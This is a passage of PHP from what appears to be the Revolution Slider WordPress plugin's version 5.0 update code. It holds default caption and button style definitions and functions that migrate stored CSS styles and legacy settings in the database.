			array('handle' => '.tp-caption.NotGeneric-CallToAction', 'settings' => '{"hover":"true","translated":5,"type":"text","version":"5.0"}', 'hover' => '{"color":"#ffffff","color-transparency":"1","text-decoration":"none","background-color":"transparent","background-transparency":"0","border-color":"#ffffff","border-transparency":"1","border-style":"solid","border-width":"1","border-radius":"0px 0px 0px 0px","opacity":"1","scalex":"1","scaley":"1","skewx":"0","skewy":"0","xrotate":"0","yrotate":"0","2d_rotation":"0","pointer_events":"auto","css_cursor":"pointer","speed":"300","easing":"power3.out"}', 'params' => '{"color":"#ffffff","color-transparency":"1","font-size":"14px","line-height":"14px","font-weight":"500","font-style":"normal","font-family":"Raleway","padding":"10px 30px 10px 30px","text-decoration":"none","background-color":"#000000","background-transparency":"0","border-color":"#ffffff","border-transparency":"0.5","border-style":"solid","border-width":"1","border-radius":"0px 0px 0px 0px","z":"0","skewx":"0","skewy":"0","scalex":"1","scaley":"1","opacity":"1","xrotate":"0","yrotate":"0","2d_rotation":"0","2d_origin_x":"50","2d_origin_y":"50","pers":"600","corner_left":"nothing","corner_right":"nothing","parallax":"-"}', 'advanced' => '{"idle":{"letter-spacing":"3px","text-align":"left"},"hover":""}'),
			array('handle' => '.tp-caption.NotGeneric-Icon', 'settings' => '{"translated":5,"type":"text","version":"5.0"}', 'hover' => '{"color":"#ffffff","color-transparency":"1","text-decoration":"none","background-color":"transparent","background-transparency":"0","border-color":"#ffffff","border-transparency":"1","border-style":"solid","border-width":"1","border-radius":["0px","0px","0px","0px"],"opacity":"1","scalex":"1","scaley":"1","skewx":"0","skewy":"0","xrotate":"0","yrotate":"0","2d_rotation":"0","pointer_events":"auto","css_cursor":"default","speed":"300","easing":"power3.out"}', 'params' => '{"color":"#ffffff","color-transparency":"1","font-size":"30px","line-height":"30px","font-weight":"400","font-style":"normal","font-family":"Raleway","padding":"0px 0px 0px 0px","text-decoration":"none","background-color":"#000000","background-transparency":"0","border-color":"#ffffff","border-transparency":"0","border-style":"solid","border-width":"0px","border-radius":"0px 0px 0px 0px","z":"0","skewx":"0","skewy":"0","scalex":"1","scaley":"1","opacity":"1","xrotate":"0","yrotate":"0","2d_rotation":"0","2d_origin_x":"50","2d_origin_y":"50","pers":"600","corner_left":"nothing","corner_right":"nothing","parallax":"-"}', 'advanced' => '{"idle":{"letter-spacing":"3px","text-align":"left"},"hover":""}'),
			array('handle' => '.tp-caption.NotGeneric-Menuitem', 'settings' => '{"hover":"true","translated":5,"type":"text","version":"5.0"}', 'hover' => '{"color":"#ffffff","color-transparency":"1","text-decoration":"none","background-color":"#000000","background-transparency":"0","border-color":"#ffffff","border-transparency":"1","border-style":"solid","border-width":"1px","border-radius":"0px 0px 0px 0px","opacity":"1","scalex":"1","scaley":"1","skewx":"0","skewy":"0","xrotate":"0","yrotate":"0","2d_rotation":"0","pointer_events":"auto","css_cursor":"pointer","speed":"300","easing":"power1.inOut"}', 'params' => '{"color":"#ffffff","color-transparency":"1","font-size":"14px","line-height":"14px","font-weight":"500","font-style":"normal","font-family":"Raleway","padding":"27px 30px 27px 30px","text-decoration":"none","background-color":"#000000","background-transparency":"0","border-color":"#ffffff","border-transparency":"0.15","border-style":"solid","border-width":"1px","border-radius":"0px 0px 0px 0px","z":"0","skewx":"0","skewy":"0","scalex":"1","scaley":"1","opacity":"1","xrotate":"0","yrotate":"0","2d_rotation":"0","2d_origin_x":"50","2d_origin_y":"50","pers":"600","corner_left":"nothing","corner_right":"nothing","parallax":"-"}', 'advanced' => '{"idle":{"letter-spacing":"3px","text-align":"left"},"hover":""}'),
			array('handle' => '.tp-caption.MarkerStyle', 'settings' => '{"translated":5,"type":"text","version":"5.0"}', 'hover' => '{"color":"#ffffff","color-transparency":"1","text-decoration":"none","background-color":"transparent","background-transparency":"0","border-color":"transparent","border-transparency":"1","border-style":"none","border-width":"0","border-radius":["0","0","0","0"],"opacity":"1","scalex":"1","scaley":"1","skewx":"0","skewy":"0","xrotate":"0","yrotate":"0","2d_rotation":"0","pointer_events":"auto","css_cursor":"auto","speed":"0","easing":"none"}', 'params' => '{"color":"#ffffff","color-transparency":"1","font-size":"17px","line-height":"30px","font-weight":"100","font-style":"normal","font-family":"\\"Permanent Marker\\"","padding":"0 0 0 0","text-decoration":"none","background-color":"transparent","background-transparency":"1","border-color":"transparent","border-transparency":"1","border-style":"none","border-width":"0","border-radius":"0 0 0 0","z":"0","skewx":"0","skewy":"0","scalex":"1","scaley":"1","opacity":"1","xrotate":"0","yrotate":"0","2d_rotation":"0","2d_origin_x":"50","2d_origin_y":"50","pers":"600","corner_left":"nothing","corner_right":"nothing","parallax":"-"}', 'advanced' => '{"idle":{"text-align":"left","0":""},"hover":""}'),
			array('handle' => '.tp-caption.Gym-Menuitem', 'settings' => '{"hover":"true","type":"text","version":"5.0","translated":"5"}', 'hover' => '{"color":"#ffffff","color-transparency":"1","text-decoration":"none","background-color":"#000000","background-transparency":"1","border-color":"#ffffff","border-transparency":"0.25","border-style":"solid","border-width":"2px","border-radius":["3px","3px","3px","3px"],"opacity":"1","scalex":"1","scaley":"1","skewx":"0","skewy":"0","xrotate":"0","yrotate":"0","2d_rotation":"0","pointer_events":"auto","css_cursor":"pointer","speed":"200","easing":"none"}', 'params' => '{"color":"#ffffff","color-transparency":"1","font-size":"20px","line-height":"20px","font-weight":"300","font-style":"normal","font-family":"Raleway","padding":["3px","5px","3px","8px"],"text-decoration":"none","text-align":"left","background-color":"#000000","background-transparency":"1","border-color":"#ffffff","border-transparency":"0","border-style":"solid","border-width":"2px","border-radius":["3px","3px","3px","3px"],"z":"0","skewx":"0","skewy":"0","scalex":"1","scaley":"1","opacity":"1","xrotate":"0","yrotate":"0","2d_rotation":"0","2d_origin_x":"50","2d_origin_y":"50","pers":"600","corner_left":"nothing","corner_right":"nothing","parallax":"-"}', 'advanced' => '{"idle":{"letter-spacing":"2px"},"hover":""}'),
			array('handle' => '.tp-caption.Newspaper-Button', 'settings' => '{"hover":"true","type":"button","version":"5.0","translated":"5"}', 'hover' => '{"color":"#000000","color-transparency":"1","text-decoration":"none","background-color":"#FFFFFF","background-transparency":"1","border-color":"#ffffff","border-transparency":"1","border-style":"solid","border-width":"1px","border-radius":["0px","0px","0px","0px"],"opacity":"1","scalex":"1","scaley":"1","skewx":"0","skewy":"0","xrotate":"0","yrotate":"0","2d_rotation":"0","pointer_events":"auto","css_cursor":"pointer","speed":"300","easing":"power1.inOut"}', 'params' => '{"color":"#ffffff","color-transparency":"1","font-size":"13px","line-height":"17px","font-weight":"700","font-style":"normal","font-family":"Roboto","padding":["12px","35px","12px","35px"],"text-decoration":"none","text-align":"left","background-color":"#ffffff","background-transparency":"0","border-color":"#ffffff","border-transparency":"0.25","border-style":"solid","border-width":"1px","border-radius":["0px","0px","0px","0px"],"z":"0","skewx":"0","skewy":"0","scalex":"1","scaley":"1","opacity":"1","xrotate":"0","yrotate":"0","2d_rotation":"0","2d_origin_x":"50","2d_origin_y":"50","pers":"600","corner_left":"nothing","corner_right":"nothing","parallax":"-"}', 'advanced' => '{"idle":{"letter-spacing":"2px"},"hover":""}'),
			array('handle' => '.tp-caption.Newspaper-Subtitle', 'settings' => '{"hover":"false","type":"text","version":"5.0","translated":"5"}', 'hover' => '{"color":"#ffffff","color-transparency":"1","text-decoration":"none","background-color":"transparent","background-transparency":"0","border-color":"transparent","border-transparency":"1","border-style":"none","border-width":"0","border-radius":["0","0","0","0"],"opacity":"1","scalex":"1","scaley":"1","skewx":"0","skewy":"0","xrotate":"0","yrotate":"0","2d_rotation":"0","pointer_events":"auto","css_cursor":"auto","speed":"0","easing":"none"}', 'params' => '{"color":"#a8d8ee","color-transparency":"1","font-size":"15px","line-height":"20px","font-weight":"900","font-style":"normal","font-family":"Roboto","padding":["0","0","0","0"],"text-decoration":"none","text-align":"left","background-color":"transparent","background-transparency":"1","border-color":"transparent","border-transparency":"1","border-style":"none","border-width":"0","border-radius":["0","0","0","0"],"z":"0","skewx":"0","skewy":"0","scalex":"1","scaley":"1","opacity":"1","xrotate":"0","yrotate":"0","2d_rotation":"0","2d_origin_x":"50","2d_origin_y":"50","pers":"600","corner_left":"nothing","corner_right":"nothing","parallax":"-"}', 'advanced' => '{"idle":"","hover":""}'),
			array('handle' => '.tp-caption.Newspaper-Title', 'settings' => '{"hover":"false","type":"text","version":"5.0","translated":"5"}', 'hover' => '{"color":"#ffffff","color-transparency":"1","text-decoration":"none","background-color":"transparent","background-transparency":"0","border-color":"transparent","border-transparency":"1","border-style":"none","border-width":"0","border-radius":["0","0","0","0"],"opacity":"1","scalex":"1","scaley":"1","skewx":"0","skewy":"0","xrotate":"0","yrotate":"0","2d_rotation":"0","pointer_events":"auto","css_cursor":"auto","speed":"0","easing":"none"}', 'params' => '{"color":"#fff","color-transparency":"1","font-size":"50px","line-height":"55px","font-weight":"400","font-style":"normal","font-family":"\\"Roboto Slab\\"","padding":["0","0","10px","0"],"text-decoration":"none","text-align":"left","background-color":"transparent","background-transparency":"1","border-color":"transparent","border-transparency":"1","border-style":"none","border-width":"0","border-radius":["0","0","0","0"],"z":"0","skewx":"0","skewy":"0","scalex":"1","scaley":"1","opacity":"1","xrotate":"0","yrotate":"0","2d_rotation":"0","2d_origin_x":"50","2d_origin_y":"50","pers":"600","corner_left":"nothing","corner_right":"nothing","parallax":"-"}', 'advanced' => '{"idle":"","hover":""}'),
			array('handle' => '.tp-caption.Newspaper-Title-Centered', 'settings' => '{"hover":"false","type":"text","version":"5.0","translated":"5"}', 'hover' => '{"color":"#ffffff","color-transparency":"1","text-decoration":"none","background-color":"transparent","background-transparency":"0","border-color":"transparent","border-transparency":"1","border-style":"none","border-width":"0","border-radius":["0","0","0","0"],"opacity":"1","scalex":"1","scaley":"1","skewx":"0","skewy":"0","xrotate":"0","yrotate":"0","2d_rotation":"0","pointer_events":"auto","css_cursor":"auto","speed":"0","easing":"none"}', 'params' => '{"color":"#fff","color-transparency":"1","font-size":"50px","line-height":"55px","font-weight":"400","font-style":"normal","font-family":"\\"Roboto Slab\\"","padding":["0","0","10px","0"],"text-decoration":"none","text-align":"center","background-color":"transparent","background-transparency":"1","border-color":"transparent","border-transparency":"1","border-style":"none","border-width":"0","border-radius":["0","0","0","0"],"z":"0","skewx":"0","skewy":"0","scalex":"1","scaley":"1","opacity":"1","xrotate":"0","yrotate":"0","2d_rotation":"0","2d_origin_x":"50","2d_origin_y":"50","pers":"600","corner_left":"nothing","corner_right":"nothing","parallax":"-"}', 'advanced' => '{"idle":"","hover":""}'),
			array('handle' => '.tp-caption.Hero-Button', 'settings' => '{"hover":"true","type":"button","version":"5.0","translated":"5"}', 'hover' => '{"color":"#000000","color-transparency":"1","text-decoration":"none","background-color":"#ffffff","background-transparency":"1","border-color":"#ffffff","border-transparency":"1","border-style":"solid","border-width":"1","border-radius":["0px","0px","0px","0px"],"opacity":"1","scalex":"1","scaley":"1","skewx":"0","skewy":"0","xrotate":"0","yrotate":"0","2d_rotation":"0","pointer_events":"auto","css_cursor":"pointer","speed":"300","easing":"power1.inOut"}', 'params' => '{"color":"#ffffff","color-transparency":"1","font-size":"14px","line-height":"14px","font-weight":"500","font-style":"normal","font-family":"Raleway","padding":["10px","30px","10px","30px"],"text-decoration":"none","text-align":"left","background-color":"#000000","background-transparency":"0","border-color":"#ffffff","border-transparency":"0.5","border-style":"solid","border-width":"1","border-radius":["0px","0px","0px","0px"],"z":"0","skewx":"0","skewy":"0","scalex":"1","scaley":"1","opacity":"1","xrotate":"0","yrotate":"0","2d_rotation":"0","2d_origin_x":"50","2d_origin_y":"50","pers":"600","corner_left":"nothing","corner_right":"nothing","parallax":"-"}', 'advanced' => '{"idle":{"letter-spacing":"3px"},"hover":""}'),
			array('handle' => '.tp-caption.Video-Title', 'settings' => '{"hover":"false","type":"text","version":"5.0","translated":"5"}', 'hover' => '{"color":"#ffffff","color-transparency":"1","text-decoration":"none","background-color":"transparent","background-transparency":"0","border-color":"transparent","border-transparency":"1","border-style":"none","border-width":"0","border-radius":["0","0","0","0"],"opacity":"1","scalex":"1","scaley":"1","skewx":"0","skewy":"0","xrotate":"0","yrotate":"0","2d_rotation":"0","pointer_events":"auto","css_cursor":"auto","speed":"0","easing":"none"}', 'params' => '{"color":"#fff","color-transparency":"1","font-size":"30px","line-height":"30px","font-weight":"900","font-style":"normal","font-family":"Raleway","padding":["5px","5px","5px","5px"],"text-decoration":"none","text-align":"left","background-color":"#000000","background-transparency":"1","border-color":"transparent","border-transparency":"1","border-style":"none","border-width":"0","border-radius":["0","0","0","0"],"z":"0","skewx":"0","skewy":"0","scalex":"1","scaley":"1","opacity":"1","xrotate":"0","yrotate":"0","2d_rotation":"0","2d_origin_x":"-20%","2d_origin_y":"50","pers":"600","corner_left":"nothing","corner_right":"nothing","parallax":"-"}', 'advanced' => '{"idle":"","hover":""}'),
			array('handle' => '.tp-caption.Video-SubTitle', 'settings' => '{"hover":"false","type":"text","version":"5.0","translated":"5"}', 'hover' => '{"color":"#ffffff","color-transparency":"1","text-decoration":"none","background-color":"transparent","background-transparency":"0","border-color":"transparent","border-transparency":"1","border-style":"none","border-width":"0","border-radius":["0","0","0","0"],"opacity":"1","scalex":"1","scaley":"1","skewx":"0","skewy":"0","xrotate":"0","yrotate":"0","2d_rotation":"0","pointer_events":"auto","css_cursor":"auto","speed":"0","easing":"none"}', 'params' => '{"color":"#ffffff","color-transparency":"1","font-size":"12px","line-height":"12px","font-weight":"600","font-style":"normal","font-family":"Raleway","padding":["5px","5px","5px","5px"],"text-decoration":"none","text-align":"left","background-color":"#000000","background-transparency":"0.35","border-color":"transparent","border-transparency":"1","border-style":"none","border-width":"0","border-radius":["0","0","0","0"],"z":"0","skewx":"0","skewy":"0","scalex":"1","scaley":"1","opacity":"1","xrotate":"0","yrotate":"0","2d_rotation":"0","2d_origin_x":"-20%","2d_origin_y":"50","pers":"600","corner_left":"nothing","corner_right":"nothing","parallax":"-"}', 'advanced' => '{"idle":{"letter-spacing":"2px"},"hover":""}'),
			array('handle' => '.tp-caption.NotGeneric-Button', 'settings' => '{"hover":"true","type":"button","version":"5.0","translated":"5"}', 'hover' => '{"color":"#ffffff","color-transparency":"1","text-decoration":"none","background-color":"transparent","background-transparency":"0","border-color":"#ffffff","border-transparency":"1","border-style":"solid","border-width":"1","border-radius":["0px","0px","0px","0px"],"opacity":"1","scalex":"1","scaley":"1","skewx":"0","skewy":"0","xrotate":"0","yrotate":"0","2d_rotation":"0","pointer_events":"auto","css_cursor":"pointer","speed":"300","easing":"power1.inOut"}', 'params' => '{"color":"#ffffff","color-transparency":"1","font-size":"14px","line-height":"14px","font-weight":"500","font-style":"normal","font-family":"Raleway","padding":["10px","30px","10px","30px"],"text-decoration":"none","text-align":"left","background-color":"#000000","background-transparency":"0","border-color":"#ffffff","border-transparency":"0.5","border-style":"solid","border-width":"1","border-radius":["0px","0px","0px","0px"],"z":"0","skewx":"0","skewy":"0","scalex":"1","scaley":"1","opacity":"1","xrotate":"0","yrotate":"0","2d_rotation":"0","2d_origin_x":"50","2d_origin_y":"50","pers":"600","corner_left":"nothing","corner_right":"nothing","parallax":"-"}', 'advanced' => '{"idle":{"letter-spacing":"3px","text-align":"left"},"hover":""}'),
			array('handle' => '.tp-caption.NotGeneric-BigButton', 'settings' => '{"hover":"true","type":"button","version":"5.0","translated":"5"}', 'hover' => '{"color":"#ffffff","color-transparency":"1","text-decoration":"none","background-color":"#000000","background-transparency":"0","border-color":"#ffffff","border-transparency":"1","border-style":"solid","border-width":"1px","border-radius":["0px","0px","0px","0px"],"opacity":"1","scalex":"1","scaley":"1","skewx":"0","skewy":"0","xrotate":"0","yrotate":"0","2d_rotation":"0","pointer_events":"auto","css_cursor":"pointer","speed":"300","easing":"power1.inOut"}', 'params' => '{"color":"#ffffff","color-transparency":"1","font-size":"14px","line-height":"14px","font-weight":"500","font-style":"normal","font-family":"Raleway","padding":["27px","30px","27px","30px"],"text-decoration":"none","text-align":"left","background-color":"#000000","background-transparency":"0","border-color":"#ffffff","border-transparency":"0.15","border-style":"solid","border-width":"1px","border-radius":["0px","0px","0px","0px"],"z":"0","skewx":"0","skewy":"0","scalex":"1","scaley":"1","opacity":"1","xrotate":"0","yrotate":"0","2d_rotation":"0","2d_origin_x":"50","2d_origin_y":"50","pers":"600","corner_left":"nothing","corner_right":"nothing","parallax":"-"}', 'advanced' => '{"idle":{"letter-spacing":"3px"},"hover":""}'),
			array('handle' => '.tp-caption.WebProduct-Button', 'settings' => '{"hover":"true","type":"button","version":"5.0","translated":"5"}', 'hover' => '{"color":"#333333","color-transparency":"1","text-decoration":"none","background-color":"#ffffff","background-transparency":"1","border-color":"#000000","border-transparency":"1","border-style":"none","border-width":"2","border-radius":["0","0","0","0"],"opacity":"1","scalex":"1","scaley":"1","skewx":"0","skewy":"0","xrotate":"0","yrotate":"0","2d_rotation":"0","pointer_events":"auto","css_cursor":"auto","speed":"300","easing":"none"}', 'params' => '{"color":"#ffffff","color-transparency":"1","font-size":"16px","line-height":"48px","font-weight":"600","font-style":"normal","font-family":"Raleway","padding":["0px","40px","0px","40px"],"text-decoration":"none","text-align":"left","background-color":"#333333","background-transparency":"1","border-color":"#000000","border-transparency":"1","border-style":"none","border-width":"2","border-radius":["0","0","0","0"],"z":"0","skewx":"0","skewy":"0","scalex":"1","scaley":"1","opacity":"1","xrotate":"0","yrotate":"0","2d_rotation":"0","2d_origin_x":"50","2d_origin_y":"50","pers":"600","corner_left":"nothing","corner_right":"nothing","parallax":"-"}', 'advanced' => '{"idle":{"letter-spacing":"1px"},"hover":""}'),
			array('handle' => '.tp-caption.Restaurant-Button', 'settings' => '{"hover":"true","type":"button","version":"5.0","translated":"5"}', 'hover' => '{"color":"#ffffff","color-transparency":"1","text-decoration":"none","background-color":"#000000","background-transparency":"0","border-color":"#ffe081","border-transparency":"1","border-style":"solid","border-width":"2","border-radius":["0px","0px","0px","0px"],"opacity":"1","scalex":"1","scaley":"1","skewx":"0","skewy":"0","xrotate":"0","yrotate":"0","2d_rotation":"0","pointer_events":"auto","css_cursor":"auto","speed":"300","easing":"none"}', 'params' => '{"color":"#ffffff","color-transparency":"1","font-size":"17px","line-height":"17px","font-weight":"500","font-style":"normal","font-family":"Roboto","padding":["12px","35px","12px","35px"],"text-decoration":"none","text-align":"left","background-color":"#0a0a0a","background-transparency":"0","border-color":"#ffffff","border-transparency":"0.5","border-style":"solid","border-width":"2","border-radius":["0px","0px","0px","0px"],"z":"0","skewx":"0","skewy":"0","scalex":"1","scaley":"1","opacity":"1","xrotate":"0","yrotate":"0","2d_rotation":"0","2d_origin_x":"50","2d_origin_y":"50","pers":"600","corner_left":"nothing","corner_right":"nothing","parallax":"-"}', 'advanced' => '{"idle":{"letter-spacing":"3px"},"hover":""}'),
			array('handle' => '.tp-caption.Gym-Button', 'settings' => '{"hover":"true","type":"button","version":"5.0","translated":"5"}', 'hover' => '{"color":"#ffffff","color-transparency":"1","text-decoration":"none","background-color":"#72a800","background-transparency":"1","border-color":"#000000","border-transparency":"0","border-style":"solid","border-width":"0","border-radius":["30px","30px","30px","30px"],"opacity":"1","scalex":"1","scaley":"1","skewx":"0","skewy":"0","xrotate":"0","yrotate":"0","2d_rotation":"0","pointer_events":"auto","css_cursor":"pointer","speed":"300","easing":"power1.inOut"}', 'params' => '{"color":"#ffffff","color-transparency":"1","font-size":"15px","line-height":"15px","font-weight":"600","font-style":"normal","font-family":"Raleway","padding":["13px","35px","13px","35px"],"text-decoration":"none","text-align":"left","background-color":"#8bc027","background-transparency":"1","border-color":"#000000","border-transparency":"0","border-style":"solid","border-width":"0","border-radius":["30px","30px","30px","30px"],"z":"0","skewx":"0","skewy":"0","scalex":"1","scaley":"1","opacity":"1","xrotate":"0","yrotate":"0","2d_rotation":"0","2d_origin_x":"50","2d_origin_y":"50","pers":"600","corner_left":"nothing","corner_right":"nothing","parallax":"-"}', 'advanced' => '{"idle":{"letter-spacing":"1px"},"hover":""}'),
			array('handle' => '.tp-caption.Gym-Button-Light', 'settings' => '{"hover":"true","type":"button","version":"5.0","translated":"5"}', 'hover' => '{"color":"#ffffff","color-transparency":"1","text-decoration":"none","background-color":"#72a800","background-transparency":"0","border-color":"#8bc027","border-transparency":"1","border-style":"solid","border-width":"2px","border-radius":["30px","30px","30px","30px"],"opacity":"1","scalex":"1","scaley":"1","skewx":"0","skewy":"0","xrotate":"0","yrotate":"0","2d_rotation":"0","pointer_events":"auto","css_cursor":"pointer","speed":"300","easing":"power2.inOut"}', 'params' => '{"color":"#ffffff","color-transparency":"1","font-size":"15px","line-height":"15px","font-weight":"600","font-style":"normal","font-family":"Raleway","padding":["12px","35px","12px","35px"],"text-decoration":"none","text-align":"left","background-color":"transparent","background-transparency":"0","border-color":"#ffffff","border-transparency":"0.25","border-style":"solid","border-width":"2px","border-radius":["30px","30px","30px","30px"],"z":"0","skewx":"0","skewy":"0","scalex":"1","scaley":"1","opacity":"1","xrotate":"0","yrotate":"0","2d_rotation":"0","2d_origin_x":"50","2d_origin_y":"50","pers":"600","corner_left":"nothing","corner_right":"nothing","parallax":"-"}', 'advanced' => '{"idle":"","hover":""}'),
			array('handle' => '.tp-caption.Sports-Button-Light', 'settings' => '{"hover":"true","type":"button","version":"5.0","translated":"5"}', 'hover' => '{"color":"#ffffff","color-transparency":"1","text-decoration":"none","background-color":"#000000","background-transparency":"0","border-color":"#ffffff","border-transparency":"1","border-style":"solid","border-width":"2","border-radius":["0px","0px","0px","0px"],"opacity":"1","scalex":"1","scaley":"1","skewx":"0","skewy":"0","xrotate":"0","yrotate":"0","2d_rotation":"0","pointer_events":"auto","css_cursor":"auto","speed":"500","easing":"none"}', 'params' => '{"color":"#ffffff","color-transparency":"1","font-size":"17px","line-height":"17px","font-weight":"600","font-style":"normal","font-family":"Raleway","padding":["12px","35px","12px","35px"],"text-decoration":"none","text-align":"left","background-color":"#000000","background-transparency":"0","border-color":"#ffffff","border-transparency":"0.5","border-style":"solid","border-width":"2","border-radius":["0px","0px","0px","0px"],"z":"0","skewx":"0","skewy":"0","scalex":"1","scaley":"1","opacity":"1","xrotate":"0","yrotate":"0","2d_rotation":"0","2d_origin_x":"50","2d_origin_y":"50","pers":"600","corner_left":"nothing","corner_right":"nothing","parallax":"-"}', 'advanced' => '{"idle":{"letter-spacing":"2px"},"hover":""}'),
			array('handle' => '.tp-caption.Sports-Button-Red', 'settings' => '{"hover":"true","type":"button","version":"5.0","translated":"5"}', 'hover' => '{"color":"#ffffff","color-transparency":"1","text-decoration":"none","background-color":"#000000","background-transparency":"1","border-color":"#000000","border-transparency":"1","border-style":"solid","border-width":"2","border-radius":["0px","0px","0px","0px"],"opacity":"1","scalex":"1","scaley":"1","skewx":"0","skewy":"0","xrotate":"0","yrotate":"0","2d_rotation":"0","pointer_events":"auto","css_cursor":"auto","speed":"500","easing":"none"}', 'params' => '{"color":"#ffffff","color-transparency":"1","font-size":"17px","line-height":"17px","font-weight":"600","font-style":"normal","font-family":"Raleway","padding":["12px","35px","12px","35px"],"text-decoration":"none","text-align":"left","background-color":"#db1c22","background-transparency":"1","border-color":"#db1c22","border-transparency":"0","border-style":"solid","border-width":"2px","border-radius":["0px","0px","0px","0px"],"z":"0","skewx":"0","skewy":"0","scalex":"1","scaley":"1","opacity":"1","xrotate":"0","yrotate":"0","2d_rotation":"0","2d_origin_x":"50","2d_origin_y":"50","pers":"600","corner_left":"nothing","corner_right":"nothing","parallax":"-"}', 'advanced' => '{"idle":{"letter-spacing":"2px"},"hover":""}'),
			array('handle' => '.tp-caption.Photography-Button', 'settings' => '{"hover":"true","type":"button","version":"5.0","translated":"5"}', 'hover' => '{"color":"#ffffff","color-transparency":"1","text-decoration":"none","background-color":"#000000","background-transparency":"0","border-color":"#ffffff","border-transparency":"1","border-style":"solid","border-width":"1px","border-radius":["30px","30px","30px","30px"],"opacity":"1","scalex":"1","scaley":"1","skewx":"0","skewy":"0","xrotate":"0","yrotate":"0","2d_rotation":"0","pointer_events":"auto","css_cursor":"auto","speed":"300","easing":"power3.out"}', 'params' => '{"color":"#ffffff","color-transparency":"1","font-size":"15px","line-height":"15px","font-weight":"600","font-style":"normal","font-family":"Raleway","padding":["13px","35px","13px","35px"],"text-decoration":"none","text-align":"left","background-color":"#000000","background-transparency":"0","border-color":"#ffffff","border-transparency":"0.25","border-style":"solid","border-width":"1px","border-radius":["30px","30px","30px","30px"],"z":"0","skewx":"0","skewy":"0","scalex":"1","scaley":"1","opacity":"1","xrotate":"0","yrotate":"0","2d_rotation":"0","2d_origin_x":"50","2d_origin_y":"50","pers":"600","corner_left":"nothing","corner_right":"nothing","parallax":"-"}', 'advanced' => '{"idle":{"letter-spacing":"1px"},"hover":""}'),
			array('handle' => '.tp-caption.Newspaper-Button-2', 'settings' => '{"hover":"true","type":"button","version":"5.0","translated":"5"}', 'hover' => '{"color":"#ffffff","color-transparency":"1","text-decoration":"none","background-color":"#000000","background-transparency":"0","border-color":"#ffffff","border-transparency":"1","border-style":"solid","border-width":"2","border-radius":["3px","3px","3px","3px"],"opacity":"1","scalex":"1","scaley":"1","skewx":"0","skewy":"0","xrotate":"0","yrotate":"0","2d_rotation":"0","pointer_events":"auto","css_cursor":"pointer","speed":"300","easing":"none"}', 'params' => '{"color":"#ffffff","color-transparency":"1","font-size":"15px","line-height":"15px","font-weight":"900","font-style":"normal","font-family":"Roboto","padding":["10px","30px","10px","30px"],"text-decoration":"none","text-align":"left","background-color":"#000000","background-transparency":"0","border-color":"#ffffff","border-transparency":"0.5","border-style":"solid","border-width":"2","border-radius":["3px","3px","3px","3px"],"z":"0","skewx":"0","skewy":"0","scalex":"1","scaley":"1","opacity":"1","xrotate":"0","yrotate":"0","2d_rotation":"0","2d_origin_x":"50","2d_origin_y":"50","pers":"600","corner_left":"nothing","corner_right":"nothing","parallax":"-"}', 'advanced' => '{"idle":"","hover":""}'),
		);

		foreach($v5 as $v5class){
			$result = $wpdb->get_row($wpdb->prepare("SELECT id FROM " . $wpdb->prefix . RevSliderFront::TABLE_CSS . " WHERE handle = %s", $v5class['handle']), ARRAY_A);
			if(empty($result)){
				//add v5 style
				$wpdb->insert($wpdb->prefix . RevSliderFront::TABLE_CSS, $v5class);
			}
		}
	}

	/**
	 * update the styles to meet requirements for version 5.0
	 * @since 5.0
	 */
	public function update_css_styles(){
		global $wpdb;

		$css = RevSliderGlobals::instance()->get('RevSliderCssParser');
		$styles = $wpdb->get_results("SELECT * FROM " . $wpdb->prefix . RevSliderFront::TABLE_CSS, ARRAY_A);
		$default_classes = $css->default_css_classes();

		$cs = array(
			'background-color' => 'backgroundColor', //rgb rgba and opacity
			'border-color' => 'borderColor',
			'border-radius' => 'borderRadius',
			'border-style' => 'borderStyle',
			'border-width' => 'borderWidth',
			'color' => 'color',
			'font-family' => 'fontFamily',
			'font-size' => 'fontSize',
			'font-style' => 'fontStyle',
			'font-weight' => 'fontWeight',
			'line-height' => 'lineHeight',
			'opacity' => 'opacity',
			'padding' => 'padding',
			'text-decoration' => 'textDecoration',
			'text-align' => 'textAlign',
		);

		$cs = array_merge($cs, $css->get_deformation_css_tags());

		foreach($styles as $key => $attr){
			if(isset($attr['advanced'])){
				$adv = json_decode($attr['advanced'], true); // = array('idle' => array(), 'hover' => '');
			}else{
				$adv = array('idle' => array(), 'hover' => '');
			}

			if(!isset($adv['idle'])){
				$adv['idle'] = array();
			}

			if(!isset($adv['hover'])){
				$adv['hover'] = array();
			}

			//only do this to styles prior 5.0
			$settings = json_decode($attr['settings'], true);
			if(!empty($settings) && isset($settings['translated'])){
				if(version_compare($settings['translated'], 5.0, '>=')){
					continue;
				}

			}

			$idle = json_decode($attr['params'], true);
			$hover = json_decode($attr['hover'], true);

			//check if in styles, there is type, then change the type text to something else
			$the_type = 'text';
			if(!empty($idle)){
				foreach($idle as $style => $value){
					if($style == 'type'){
						$the_type = $value;
					}

					if(!isset($cs[$style])){
						if($style === 0){
							continue;
						}

						$adv['idle'][$style] = $value;
						unset($idle[$style]);
					}
				}
			}
			
			if(!empty($hover)){
				foreach($hover as $style => $value){
					if(!isset($cs[$style])){
						if($style == 0){
							continue;
						}

						$adv['hover'][$style] = $value;
						unset($hover[$style]);
					}
				}
			}

			$settings['translated'] = 5.0; //set the style version to 5.0
			$settings['type'] = $the_type; //set the type version to text, since 5.0 we also have buttons and shapes, so we need to differentiate from now on

			if(!isset($settings['version'])){
				if(isset($default_classes[$styles[$key]['handle']])){
					$settings['version'] = $default_classes[$styles[$key]['handle']];
				}else{
					$settings['version'] = 'custom'; //set the version to custom as its not in the defaults
				}
			}
			
			$styles[$key]['params'] = json_encode($idle);
			$styles[$key]['hover'] = json_encode($hover);
			$styles[$key]['advanced'] = json_encode($adv);
			$styles[$key]['settings'] = json_encode($settings);
		}

		//save now all styles back to database
		foreach($styles as $key => $attr){
			$ret = $wpdb->update($wpdb->prefix . RevSliderFront::TABLE_CSS, array('settings' => $styles[$key]['settings'], 'params' => $styles[$key]['params'], 'hover' => $styles[$key]['hover'], 'advanced' => $styles[$key]['advanced']), array('id' => $attr['id']));
		}

	}

	/**
	 * remove the settings from the table and use them from now on with get_option / update_option
	 * @since 5.0
	 */
	public function check_settings_table(){
		global $wpdb;

		if($wpdb->get_var("SHOW TABLES LIKE '" . $wpdb->prefix . RevSliderFront::TABLE_SETTINGS . "'") == $wpdb->prefix . RevSliderFront::TABLE_SETTINGS){
			$result = $wpdb->get_row("SELECT `general` FROM " . $wpdb->prefix . RevSliderFront::TABLE_SETTINGS, ARRAY_A);
			if(isset($result['general'])){
				update_option('revslider-global-settings', $result['general']);
			}
		}
	}

	/**
	 * move the template sliders and add the slides to corresponding post based slider or simply move them and change them to post based slider if no slider is using them
	 * @since 5.0
